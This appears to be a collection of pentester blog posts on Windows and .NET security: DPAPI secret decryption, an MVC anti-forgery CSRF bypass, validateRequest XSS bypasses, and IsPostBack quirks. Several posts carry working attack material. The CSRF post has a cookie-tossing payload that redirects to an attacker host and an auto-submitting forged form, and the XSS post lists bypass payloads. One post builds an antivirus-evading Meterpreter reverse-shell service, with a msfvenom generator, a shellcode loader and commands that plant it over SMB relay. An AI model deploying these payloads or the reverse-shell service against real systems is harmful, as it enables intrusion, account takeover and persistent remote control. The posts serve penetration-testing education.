DPAPI Primer for Pentesters

Update 6 July 2013 – fixed info when user store may decrypt on separate machine

Understanding DPAPI is not that complicated, although the amount of the documentation can be daunting. There is a lot of excellent “under the hood” DPAPI stuff available (e.g. Stealing Windows Secrets Offline http://www.blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html) But is it easier to steal these secrets online? The answer is yes, probably.

DPAPI’s purpose in life is to store secrets. These are frequently symmetric crypto keys used to encrypt other things. For example, typical use cases for these protected keys are for them to encrypt anything from saved passwords in an RDP connection manager on a Desktop to encrypting sensitive info in a database (e.g. bank account numbers). Using DPAPI to store sensitive info (or store keys that encrypt sensitive info) is good practice.

There are a few concepts to understand before using DPAPI

  • You can encrypt/decrypt the secrets using either a “user store” or a “machine store”. This is where the entropy comes from. What this means is:
    • If you use the user store, then this secret may only be read by this user on this machine. In the testing I’ve done, it cannot be read by the same domain user on a different machine either.
    • If you use the machine store, any user on the machine is able to decrypt the secrets – including Network User (e.g. IIS), Guest, etc. In the testing I’ve done, this is certainly less restrictive/secure than the user store (user store takes into account the machine also).
  • Secondary Entropy: One argument to the DPAPI calls is the secondary entropy argument. Using this, an application needs to know this secret before the data is decrypted.

A few common misconceptions

  • I’ve heard from several people how the user’s login password is used for entropy. This does not really tell the whole story.  An attacker does not need to know the password to retrieve DPAPI, they just need to be executing with the account/machine. This is often an easier problem than retrieving a password.
  • It can be easy to mix up DPAPI and other things that make use of DPAPI. For example, the credential store is an API that uses DPAPI

A pretend good setup

If things are done basically correct, then a good scheme might be something like this:

  • There’s a server database that stores encrypted bank account numbers 
    • It needs to decrypt these for regular use
    • The encryption/integrity of this data uses a good authenticated encryption scheme, say AES/GCM.
  • The question is, where do we store the key?
    • We use DPAPI in user mode to encrypt the data
    • The user used that can access the data is a locked down domain service account with limited permissions. For example, the service account can’t log in to the box, and is a different user than the database runs as.
    • The DPAPI encrypted blob is stored in an ACLed part of the registry so only the service account has access

An overly simplified example might be the following, which runs at deployment time.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Security.AccessControl;

namespace encrypt_dpapi
{
    class Program
    {
        private const string MASTER_REG_KEY_PATH = @"SOFTWARE\Contoso\dbapp";
        private const string MASTER_REG_KEY_NAME = @"bankkey";
        private const string SERVICE_ACCT = @"EVIL\_mservice";

        public static void WriteMachineReg(string path, string valuename, string value)
        {
            RegistryKey bank_reg = Registry.LocalMachine.CreateSubKey(MASTER_REG_KEY_PATH);

            //set the ACLs of the key so only service account has access
            RegistrySecurity acl = new RegistrySecurity();
            acl.AddAccessRule(new RegistryAccessRule(SERVICE_ACCT, RegistryRights.FullControl, AccessControlType.Allow));
            acl.SetAccessRuleProtection(true, false);

            bank_reg.SetAccessControl(acl);

            //write the key
            bank_reg.SetValue(MASTER_REG_KEY_NAME, value);

            bank_reg.Close();


        }

        //we want the symmetric key to be randomly generated and no one to even know it!
        public static byte[] genSymmetricKey(int size)
        {
            RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
            byte[] buf = new byte[size];
            rng.GetBytes(buf);
            return buf;
        }

        static void Main(string[] args)
        {
            //check that we're running as the correct service account
            string user = WindowsIdentity.GetCurrent().Name;
            if (!user.Equals(SERVICE_ACCT, StringComparison.OrdinalIgnoreCase))
            {
                Console.WriteLine("Error: must run as " + SERVICE_ACCT + " Account");
                Console.WriteLine(user);
                Console.WriteLine("Exiting program");
                return;
            }


            //generate a random key we'll use to encrypt bank accounts
            byte[] key = genSymmetricKey(256);
            Console.WriteLine("Key " + Convert.ToBase64String(key));

            byte[] additional_entropy = {0x41, 0x41, 0x41, 0x41};

            //dpapi encrypt the key
            byte[] enc_key = ProtectedData.Protect(key, additional_entropy, DataProtectionScope.CurrentUser);

            //dpapi encrypted key is saved in base64
            WriteMachineReg(MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME, Convert.ToBase64String(enc_key));


        }
    }
}

If I run this, I get

>encrypt_dpapi.exe
Key 721HLUm5n9/0hpAFtBl3Jvn2jJ+KM3z4mPKfyLCHOAZyx/JUP6qs+DCVpwWCqbmB3CZc+o6qXeY4
T+ivRkgn6ZLUSTInuhIh96qRPC9DXZD/ALUg5NTdoWtxYaSq4uOeF6ywh1hRyLyVKSopdHkR4ZycFKV9
KIIX+O5pKK/sYBRwvkhnIwpbLO3Qps7FK5x3wNlj5OwLOfl31bs8rE0Qk/yzvhzT5+zF7BJx/j/qUCGa
g8f8PGOBhi/Ch0lGDWW203rbwdfMC8fmHAYfR4FdlU2L90lmEOCY8Mgjno4ScAGgKPyFS74TLaufLKiz
tjBaAKt89JGaNHOizWvdIGsoMw==

This is the base64 version of the key used to decrypt bank account numbers – so ultimately what we as attackers want. But if I look in the registry (where this info is stored) I get something completely different

dpapi_registry

 

So how can we get decrypted Bank Account Numbers?

Say we’re an attacker and we have system privs on the box above. How can we decrypt the bank account numbers?

There’s probably more than one way. One method may be to scan memory and extract the key from memory (but if it uses safe memory protection it may not be in there long…). Another method may be to attach a debugger to the app and extract it that way. For a production pentest, one of the most straightforward ways just to use DPAPI again to decrypt the data.

using System;
using System.Text;
using System.Runtime.InteropServices;
using System.ComponentModel;
using Microsoft.Win32;
using System.Security.Cryptography;



namespace decrypt_dpapi_reg
{

    public class registry
    {
        public static string ReadMachineReg(string path, string valuename)
        {
            return (string)Registry.GetValue(path, valuename, "problem");
        }
    }

    class Program
    {

        private const string MASTER_REG_KEY_PATH = @"SOFTWARE\Contoso\dbapp";
        private const string MASTER_REG_KEY_NAME = @"bankkey";
        private const string SERVICE_ACCT = @"EVIL\_mservice";   


        public static byte[] UnprotectUser(string data)
        {
            try
            {
                byte[] additional_entropy = { 0x41, 0x41, 0x41, 0x41 };
                byte[] encryptData = Convert.FromBase64String(data);
                return ProtectedData.Unprotect(encryptData, additional_entropy, DataProtectionScope.CurrentUser);
                
            }
            catch (CryptographicException e)
            {
                Console.WriteLine("Data was not decrypted. An error occurred.");
                Console.WriteLine(e.ToString());
                return null;
            }
        }


        static void Main(string[] args)
        {
            //must be run as a user with access on a machine with access
            string s = registry.ReadMachineReg(@"HKEY_LOCAL_MACHINE\" + MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME);

            Console.WriteLine("DPAPI encrypted key: " + s);
            Console.WriteLine();

            Console.WriteLine("DPAPI encrypted key: " + BitConverter.ToString(Convert.FromBase64String(s)));
            Console.WriteLine();

            byte[] decryptedbytes = UnprotectUser(s);
            Console.WriteLine(Convert.ToBase64String(decryptedbytes));
            
        }
    }

}

If we try to run this as another user, what happens? It won’t work. We’ll get an exception like this:

System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.

   at System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData,Byte[] optionalEntropy, DataProtectionScope scope)
   at decrypt_dpapi_reg.Program.UnprotectUser(String data)

DPAPI uses the user entropy to encrypt the data, so we need to compromise the user. But what happens if we copy out the registry value to another machine and try to DPAPI to decrypt the secrets on another box as the EVIL\_mservice account, what happens?

It turns out in my testing this does not work, and I got the same exception as a bad user on the same machine. I needed to run on the same machine that encrypted the key. UPDATE However, there are several reasons it may not work, but it should work overall. From http://support.microsoft.com/kb/309408#6

DPAPI works as expected with roaming profiles for users and computers that are joined to an Active Directory directory service domain. DPAPI data that is stored in the profile acts exactly like any other setting or file that is stored in a roaming profile. Confidential information that the DPAPI helps protect are uploaded to the central profile location during the logoff process and are downloaded from the central profile location when a user logs on.
For DPAPI to work correctly when it uses roaming profiles, the domain user must only be logged on to a single computer in the domain. If the user wants to log on to a different computer that is in the domain, the user must log off the first computer before the user logs on to the second computer. If the user is logged on to multiple computers at the same time, it is likely that DPAPI will not be able to decrypt existing encrypted data correctly.
DPAPI on one computer can decrypt the master key (and the data) on another computer. This functionality is provided by the user’s consistent password that is stored and verified by the domain controller. If an unexpected interruption of the typical process occurs, DPAPI can use the process described in the “Password Reset” section later in this article.
There is a current limitation with roaming profiles between Windows XP-based or Windows Server 2003-based computers and Windows 2000-based computers. If keys are generated or imported on a Windows XP-based or Windows Server 2003-based computer and then stored in a roaming profile, DPAPI cannot decrypt these keys on a Windows 2000-based computer if you are logged on with a roaming user profile. However, a Windows XP-based or Windows Server 2003-based computer can decrypt keys that are generated on a Windows 2000-based computer.

Blackbox Detection

DPAPI can be really tough to do with a complete blackbox. As part of an engagement, if I’ve compromised this far, I usually go hunting for the source which is frequently less protected than the DPAPI protected asset. But one giveaway that you’re even dealing with DPAPI is if a blob has a structure similar to the following:

dpapi_format

We can be a bit more scientific about this. Comparing two runs of the same program above gives the following bytes that are the same (note that since the key itself is random but a constant length, this reveals a bit about the structure). This is documented better elsewhere I’m sure, but if something looks quite a bit like this, it should give you a quick idea if you’re dealing with a dpapi encrypted blob.

01-00-00-00-D0-8C-9D-DF-01-15-D1-11-8C-7A-00-C0-4F-C2-97-EB
-01-00-00-00-08-DC-D9-58-94-2E-C9-4A-9C-59-12-F1-60-EA-6C-56-00-00-00-00-02-00-0
0-00-00-00-03-66-00-00-C0-00-00-00-10-00-00-00-xx-xx-xx-xx-xx-xx-xx-xx-xx-xx-xx-
xx-xx-xx-xx-xx--00-00-00-00-04-80-00-00-A0-00-00-00-10-00-00-00-xx.....

.NET MVC AntiforgeryToken CSRF Testing

Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.

A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then ValidateTokens contains the logic that prevents CSRF attacks

public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{   
  if (sessionToken == null)
  {
    throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
  }
  if (fieldToken == null)
  {
    throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
  }
  if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
  {
    throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
  }
  if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
  {
    throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
  }
  string b = string.Empty;
  BinaryBlob objB = null;
  if ((identity != null) && identity.IsAuthenticated)
  {
    objB = this._claimUidExtractor.ExtractClaimUid(identity);
    if (objB == null)
    {
      b = identity.Name ?? string.Empty;
    }
  }
  bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
  if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
  {
    throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
  }
  if (!object.Equals(fieldToken.ClaimUid, objB))
  {
    throw HttpAntiForgeryException.CreateClaimUidMismatchException();
  }
  if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
  {
     throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
  }
}

To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.

Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.

One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.

Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.

  1. Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
  2. Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
  3. Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
  4. document.cookie = "__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    window.location="http://evil.webstersprodigy.net/cookies/cookie.html";
    
  5. Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
  6. <html> 
    <body> 
    <form id="dynForm" action="https://mvcapp.mydomain.com/csrfpath/Edit" method="POST"> 
    <input type="hidden" name="__RequestVerificationToken" value="/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy..." /> 
    <input type="hidden" name="Profile.FirstName" value="Bad" /> 
    <input type="hidden" name="Profile.LastName" value="Guy" /> 
    <input type="hidden" name="Profile.Email" value="evil1337@live-int.com" /> 
    <input type="hidden" name="saveAndContinueButton" value="NEXT" /> 
    </form> 
    <script type="text/javascript"> 
    alert("cookies are tossed"); 
    document.getElementById("dynForm").submit(); 
    </script> 
    </body> 
    </html>
    
    

Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.

  1. Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
  2. Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
  3. Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.

There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.

ValidateRequest should probably still be Enabled

I noticed this post on reddit a couple weeks back, and it’s called “new .net xss bypass”. I look at .net apps more than anything else right now as part of my day job, so this new bypass is something I was already aware of. There are quite a few comments I think are a bit off, and the article calls this a “vulnerability”. This is an interesting subject, and like a lot of things, people say things that can be misleading or not tell the entire story…

What is validateRequest?

validateRequest kind of works like a WAF, and it’s main purpose is to mitigate reflected XSS. It’s enabled by default, and you can see it in action on most .NET websites. For example, check out http://windows.microsoft.com/en-US/windows/home. If you send it http://windows.microsoft.com/en-US/windows/home?myparam=aaa or http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3c it’s fine, but then if you send it http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3ca it gives an error (note the only difference between the last two is < vs <a). What's going on here?

Well, on the server, the stack trace probably looks something like this (this is what it looks like in my test application).

[HttpRequestValidationException (0x80004005): A potentially dangerous Request.QueryString value was detected from the client (test="<a").]
   System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection) +9665149
   System.Web.<>c__DisplayClass5.<ValidateHttpValueCollection>b__3(String key, String value) +18
   System.Web.HttpValueCollection.EnsureKeyValidated(String key) +9664565
   System.Web.HttpValueCollection.GetValues(Int32 index) +29
   System.Web.HttpValueCollection.ToString(Boolean urlencoded, IDictionary excludeKeys) +206
   System.Web.UI.Page.get_ClientQueryString() +411
   System.Web.UI.HtmlControls.HtmlForm.GetActionAttribute() +259
   System.Web.UI.HtmlControls.HtmlForm.RenderAttributes(HtmlTextWriter writer) +724
   System.Web.UI.HtmlControls.HtmlControl.RenderBeginTag(HtmlTextWriter writer) +41
   System.Web.UI.HtmlControls.HtmlContainerControl.Render(HtmlTextWriter writer) +20
   System.Web.UI.HtmlControls.HtmlForm.Render(HtmlTextWriter output) +53
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.HtmlControls.HtmlForm.RenderControl(HtmlTextWriter writer) +40
   System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +128
   System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +8
   System.Web.UI.Control.Render(HtmlTextWriter writer) +10
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
   System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +128
   System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +8
   System.Web.UI.Page.Render(HtmlTextWriter writer) +29
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +6704
   System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +245
   System.Web.UI.Page.ProcessRequest() +72
   System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +21
   System.Web.UI.Page.ProcessRequest(HttpContext context) +58

Tracing down the line from the validateString method, eventually it calls this for all values (not keys).

// System.Web.CrossSiteScriptingValidation
internal static bool IsDangerousString(string s, out int matchIndex)
{
	matchIndex = 0;
	int startIndex = 0;
	while (true)
	{
		int num = s.IndexOfAny(CrossSiteScriptingValidation.startingChars, startIndex);
		if (num < 0)
		{
			break;
		}
		if (num == s.Length - 1)
		{
			return false;
		}
		matchIndex = num;
		char c = s[num];
		if (c != '&')
		{
			if (c == '<' && (CrossSiteScriptingValidation.IsAtoZ(s[num + 1]) || s[num + 1] == '!' || s[num + 1] == '/' || s[num + 1] == '?'))
			{
				return true;
			}
		}
		else
		{
			if (s[num + 1] == '#')
			{
				return true;
			}
		}
		startIndex = num + 1;
	}
	return false;
}

Obvious Edge Cases

So clearly, validateRequest makes no attempt to stop most DOM XSS, and there’s no attempt at all with stored XSS. It’s also clearly limited in preventing reflected XSS too. There’s no attempt at detecting encoding, so there’s kind of an assumption that the encoding is UTF-8. Not to mention if there’s an xss in the whole query string, in which case you could just put it in the keys. Not to mention if there’s user input being reflected in the context of an attribute, validateRequest does not stop it. For example:

<img src="" title="USERINPUT">

In this context, validateRequest doesn’t stop reflected XSS. It does, however, try to stop at least this case:

<html><body>
USERINPUT
</body></html>

If you can get script to execute in this context with UTF-8 encoding, you’ve bypassed something validateRequest was meant to prevent.

The bypass I saw on reddit

The bypass looks like this:

‹%tag style="xss:expression(alert(123))" ›

This can make it through validateRequest’s filter because the < is not followed by a bad char (% is fine). The tags execute in IE9 in compatibility mode in the context above (it doesn’t seem to execute in IE 8- or IE 10).

There are some limitations in this attack though. First, remember we’re talking about just IE9. Second is the fact that by default IE9’s xss filter is turned on, and IE 9's xss filter will prevent the above from executing. There might be a generic way to bypass both validateRequest and IE9’s xss filter, but I am not aware of it.

IE_filter

Things I’ve Tried

In the past, I’ve tried a few bypasses of validateRequest myself.

Unit Test with single separators

I’ve tried the following test cases. This does catch the <% bypass with IE9 in compatability mode, but nothing else fires. One thing that I thought was a bypass at first was %00, but validaterequest does actually catch that.

def bad_char(m):
    if (m == "<" or m== "!" or m == "?" or m == "/" or (ord(m) >= 0x41 and ord(m) <= 0x5a) or
        (ord(m) >= 0x61 and ord(m) <= 0x7a)):
        return False
    return True

def singlechars_img(f):
    for i in range(1,256):
        if not bad_char(chr(i)):
            continue
        f.write("<" + chr(i) + "img src='' onerror=alert(" + hex(i) + ") /> <br />\n")

def singlechars_style(f):
    for i in range(1,256):
        if not bad_char(chr(i)):
            continue
        f.write("<" + chr(i) + "tag style=\"xss:expression(open(alert(" + str(i) + ")))\" > <br />\n")

Trying to be clever (overlong UTF-8, etc)

One thing I tried was to backspace one of the tags with the ascii value 0x08: <<0x08script>. This doesn’t execute in any browser tried

I tried the shift JIS prefix code %e0 which should consume the next character as part of a multibyte literal. The idea is that if validaterequest tries to decode any data, it may consume an extra %3c, whereas some browsers (like chrome) do not consume an extra %3c and there would be a mismatch. But validaterequest is much simpler, and just iterates over all the bytes like we can see from the reflected snipped above.

I also tried several overlong UTF-8 combinations, but these don’t execute with content-type UTF-8

#overlong UTF-8
def overlong(f):
    #attempt to delete a <
    f.write("<<\x08script>alert(1)</script>")
    #some overlong UTF
    f.write("<\xFC\x80\x80\x80\x81\xA9\xFC\x80\x80\x80\x81\xAD\xFC\x80\x80\x80\x81\xA7 src='' onerror=alert(2) />")
    f.write("<\xFC\x80\x80\x80\x81\xA9mg src='' onerror=alert(2) />")
    f.write("\xC1\xA9mg src='' onerror=alert(3) />")
    f.write("\xF8\x80\x80\x81\xA9mg src='' onerror=alert(3) />")

Conclusions

The ‹%tag style=”xss:expression(alert(123))” › validaterequest bypass is interesting and something to keep in the back of your pentesting pocket, but if you’re on defense don’t panic. I don’t think this really breaks validaterequest in a meaningful way. Pulling numbers out of my ass, I would say that if 30% of xss were prevented by validaterequest without this, then maybe this knocks the successfully prevented attacks down like a percent or two, to 28% (exploitable against users who use IE9 and have disabled the xss filter (or where you can get around the xss filter)). validaterequest does have it’s problems, and there have been generic bypasses in the past, but I think it’s still worthwhile to enable.

AV Evading Meterpreter Shell from a .NET Service

Update: I tried this in April 2013, and it still works quite well if you obfuscate the .net (e.g. using dotfuscator or there are plenty of free ones). I still use the generic idea for SMB type things, like NTLM relaying. That said, for simply evading AV, I highly recommend going the powershell route instead. Powersploit has meterpreter connectback built in, so you don’t even need to do anything. It’s awesome https://github.com/mattifestation/PowerSploit

Quite a few successful attacks rely on creating a malicious service at some point in the attack chain. This can be very useful for a couple reasons. First, in post exploitation scenarios these services are persistent, and (although noisy) these can be set to start when a connection fails or across reboots. Second, malicious services are also an extremely common way that boxes are owned in the first place – it’s part of how psexec and smb NTLM relaying work. In Metasploit by default, these are exploit modules most commonly used by selecting from their available payloads. One thing people may not realize is that these payloads are just turned into service binaries and then executed. You don’t need to necessarily use low level machine code – your “shellcode” can just be written in .NET if you want.

The strategy I’ll use here is to create a stage 1 .NET meterpreter service that connects back to our stage 2 host.

Maybe the easiest way to create a service is to use Visual Studio. Go to new project, and select Window Service, which should give you a nice skeleton.

Generate our stage 1 and put it in a C# byte array format. I wrote a python script to do this.

#!/usr/bin/python

###
# simple script that generates a meterpreter payload suitable for a .net executable
###

import argparse
import re
from subprocess import *

parser = argparse.ArgumentParser()
parser.add_argument('--lhost', required=True, help='Connectback IP')
parser.add_argument('--lport', required=True, help='Connectback Port')
parser.add_argument('--msfroot', default='/opt/metasploit/msf3')
args = parser.parse_args()


def create_shellcode(args):
    msfvenom = args.msfroot + "/msfvenom"
    msfvenom = (msfvenom + " -p windows/meterpreter/reverse_tcp LHOST=" + args.lhost + " LPORT=" + args.lport + " -e x86/shikata_ga_nai -i 15 -f c")
    msfhandle = Popen(msfvenom, shell=True, stdout=PIPE)
    try:
        shellcode = msfhandle.communicate()[0].split("unsigned char buf[] = ")[1]
    except IndexError:
        print "Error: Do you have the right path to msfvenom?"
        raise
    #put this in a C# format
    shellcode = shellcode.replace('\\', ',0').replace('"', '').strip()[1:-1]
    return shellcode

print create_shellcode(args)

Next, we can copy/paste our shellcode into a skeleton C# service, and execute it by virtualallocing a bit of executable memory and creating a new thread. One of my buddies pointed me at http://web1.codeproject.com/Articles/8130/Execute-Native-Code-From-NET, which was helpful when writing this.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Runtime.InteropServices;

namespace metservice
{
    public partial class Service1 : ServiceBase
    {
        public Service1()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[] {
0xbf,0xe2,0xe6,0x44,.... (stage 1 shellcode)
                };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data


            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

      }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
                              UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(

          string moduleName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(

          IntPtr hModule,
          string procName

          );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(

          string lpFileName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();


        protected override void OnStop()
        {
        }
    }
}

We still need to create our stage 2 listener on our attacker box from within metasploit.

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 443
...

Now we have our service, which when added and started will connect back to our listening attacker box. At which point we have a meterpreter shell running as system.

This is close to the exact same thing I did here with my http_ntlmrelay module. Using that, we have two steps. One is uploading our malicious .net service, and the second is starting that service.

use auxiliary/server/http_ntlmrelay
#SMB_PUT our malicious windows service (named metservice.exe) onto the victim
set RHOST mwebserver
set RPORT 445
set RTYPE SMB_PUT
set URIPATH /1
set RURIPATH c$\\Windows\\rla7cu.exe
set FILEPUTDATA /root/ntlm_demo/smb_pwn/metservice.exe
run
#Execute the malicious windows service
set RTYPE SMB_PWN
set RURIPATH %SystemRoot%\\rla7cu.exe
set URIPATH /2
run

Out of the box, this service already evades most AV (there are 0 detections when I uploaded to virustotal).

However, as AV companies do, they could update their stuff to figure out a way of detecting this. In the middle of a pentest, I already got an email from a concerned stakeholder asking about this service, which I had named “gonnaownyou” or something (yes, I know, sloppy, but I can be loud and arrogant). This concerned stake holder said they were in the process of analyzing the binary to determine if it was malicious. Surprised they had detected anything, I immediately dropped the binary into reflector, and it really couldn’t be more obvious that it is in fact malicious. I mean, my byte array is named “shellcode”, even in reflector.

As an attacker, the good news is we’re in .NET land now. It’s really very easy to modify C# compared to low level shellcode. All our real shellcode is just a string, which we can hide however the hell we want – we could easily download it from somewhere, use encryption, etc. with only a few code changes. In fact, we might not even have to modify our code above at all. There is an entire legitimate market to make managed code tough to analyze to protect IP and whatnot. Think dotfuscator. I’m not an AV guy – I usually know just enough to evade it – but it seems to me that for an AV company to detect our dotfuscated shellcode would be a difficult problem.

You know how it’s often referred to as an arms race/escalation game when people try to bypass AV, and then AV companies try to detect that? You know how they say basically the same thing about code obfuscating type solutions? Well, I don’t like spending my time evading AV, so I have this funny fantasy where I pit the code obfuscator people against the AV companies and they escalate their approaches against each other, leaving me out of the escalation equation completely :)

Interesting Problems with .NET IsPostBack()

First, credit where credit is due: Bryan Jeffries (plug here for his awesome book) talked with me about this problem a couple years ago. Since then I’ve found half a dozen bugs related to IsPostBack, but I’ve never seen the potential problems written out. Thus, this post.

What does IsPostBack Do?

The MSDN article provides some insight into how most developers will treat ispostback. It says, “true if the page is being loaded in response to a client postback; otherwise, false.”

Here’s the snippet they include:

 private void Page_Load()
{
    if (!IsPostBack)
    {
        // Validate initially to force asterisks
        // to appear before the first roundtrip.
        Validate();
    }
}

How does this actually work? Below are a handful of test cases along with results.

Simple GET request, validate() is not called

GET /postback.aspx HTTP/1.1
Host: localhost:31907

Same with a simple POST, validate() is not called

POST /postback.aspx HTTP/1.1
Host: localhost:31907
Content-Type: application/x-www-form-urlencoded

a=1

Legitimate postback, as expected, validate() is called

POST /postback.aspx HTTP/1.1
Host: localhost:31907
Cookie: ASP.NET_SessionId=l1ghpm2rocgh0verdtbdaydc
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNjI0NjY1NDA2D2...

Here’s the interesting thing. a POST with an empty viewstate and validate() is called

POST /postback.aspx HTTP/1.1
Host: localhost:31907
Cookie: ASP.NET_SessionId=l1ghpm2rocgh0verdtbdaydc
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

